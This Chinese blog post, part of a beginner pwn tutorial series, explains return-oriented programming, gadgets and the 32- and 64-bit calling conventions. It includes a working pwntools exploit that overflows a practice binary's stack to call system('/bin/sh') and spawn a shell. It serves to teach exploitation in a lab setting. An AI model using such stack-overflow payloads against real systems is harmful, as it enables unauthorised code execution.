pwn从入门到放弃第六章——简单ROP

pwn从入门到放弃第六章——简单ROP

这篇鸽了挺久的,补一下吧

简单介绍ROP

首先先来说下什么是ROP

ROP是Return Oriented Programming 的缩写

翻译过来就是面向返回的编程

你可能会问,我们不是利用栈溢出漏洞么,怎么又扯到编程了?

其实ROP就是另外一种意义上的编程,其核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

这里的gadgets是类似下面的代码片段

这里用32位的程序作为示例,所以我们先讲32位的ROP,然后再讲64位的ROP,两者其实相差不大

这些gadgets一般遵循以下的形式

1
2
3
xxx
xxx
ret

例如

1
2
pop ebp
ret

 

1
2
int 80h
ret

反正就是一堆指令后面跟着ret

但是比较常见和常用的就是

1
2
pop xxx
ret

 

这一类的gadget

但是其实在32位的ROP中是比较少用gadget的

这里又扯一下函数参数的传递方式

  • 32位

    我们举一个例子吧,在上一章的示例程序中也可以找到对应的代码

    1
    read(0,buf,0x100)

    这一句代码,对应的汇编是

    1
    2
    3
    4
    5
    .text:08048484                 push    100h            ; nbytes
    .text:08048489 lea eax, [ebp+buf]
    .text:0804848C push eax ; buf
    .text:0804848D push 0 ; fd
    .text:0804848F call _read

    可以看到参数是从右到左入栈,先push 0x100,再push buf,最后push 0

    所以例如

    1
    my_fun(0,1,2,3,4,5,6)

    对应的汇编就是

    1
    2
    3
    4
    5
    6
    7
    8
    push 6
    push 5
    push 4
    push 3
    push 2
    push 1
    push 0
    call my_fun
  • 64位

    同样是那一行代码

    1
    read(0,buf,0x100)

    对应的64位汇编是

    1
    2
    3
    4
    5
    lea     rax, [rbp+buf]
    mov edx, 100h ; nbytes
    mov rsi, rax ; buf
    mov edi, 0 ; fd
    call _read

    1
    my_fun(0,1,2,3,4,5,6)

    就变成

    1
    2
    3
    4
    5
    6
    7
    8
    push    6
    mov r9d, 5
    mov r8d, 4
    mov ecx, 3
    mov edx, 2
    mov esi, 1
    mov edi, 0
    call my_fun

    可以看到函数的前6个参数都会放到寄存器里面,从左到右对应的是

    1
    rdi, rsi, rdx, rcx, r8d, r9d

    如果还有更多参数的话,就会通过栈来传递

32位程序实战

接下来结合实例来讲一下吧

还是用上一章那个程序

假如现在我们不直接跳到backdoor函数,而是通过ROP来调用

1
system("/bin/sh")

布置好的栈如下

对应的payload是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

system=0x8048340
binsh=0x8048577

p.send('a'*13+p32(system)+p32(0xdeadbeef)+p32(binsh))


p.interactive()

接下来讲解一下为什么这样布置栈

我们在0x8048499 处下一个断点

1
x /10xw $esp

查看栈的情况

1
2
3
0x08048340  -> system
0xdeadbeef -> retaddr
0x08048577 -> /bin/sh字符串的地址

你可能想问,这里为什么突然多了retaddr这个东西了呢?

我们来回顾一下正常调用

1
system("/bin/sh")

 

对应的汇编是

1
2
push binsh_addr
call system

关键就在

1
call system

 

这句汇编其实等价于

1
2
push eip+5
jmp system

 

因为call指令一波都是5个字节的长度,所以这里保存的是下一条指令的地址

而我们栈溢出控制rip,其实就相等于

1
jmp system

少了保存地址,所以我们要填一个返回地址给它

但是调用system(“/bin/sh”)之后就get shell了,返回地址是什么其实没有什么所谓,所以填0xdeadbeef也行

posted @   bonelee  阅读(95)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2019-05-13 Python读excel——xlrd
2018-05-13 基于深度学习的目标检测算法:SSD——常见的目标检测算法
2018-05-13 capsule network——CNN仅仅考虑了“有没有”的问题,没有考虑feature map的结构关系。这个结构关系包括位置,角度等。Capsule layer的输出也跟feature map的max-pooling输出不同,capsule layer的输出是一个向量,这个向量包含了位置,大小,角度等信息,这是feature map仅能输出一个值所不具备的;训练比较慢
2018-05-13 语义分割(semantic segmentation) 常用神经网络介绍对比-FCN SegNet U-net DeconvNet,语义分割,简单来说就是给定一张图片,对图片中的每一个像素点进行分类;目标检测只有两类,目标和非目标,就是在一张图片中找到并用box标注出所有的目标.
2018-05-13 PSPnet:Pyramid Scene Parsing Network——作者认为现有模型由于没有引入足够的上下文信息及不同感受野下的全局信息而存在分割出现错误的情景,于是,提出了使用global-scence-level的信息的pspnet
2018-05-13 NASNet学习笔记——   核心一:延续NAS论文的核心机制使得能够自动产生网络结构;    核心二:采用resnet和Inception重复使用block结构思想;    核心三:利用迁移学习将生成的网络迁移到大数据集上提出一个new search space。
2018-05-13 ResNeXt——与 ResNet 相比,相同的参数个数,结果更好:一个 101 层的 ResNeXt 网络,和 200 层的 ResNet 准确度差不多,但是计算量只有后者的一半
点击右上角即可分享
微信分享提示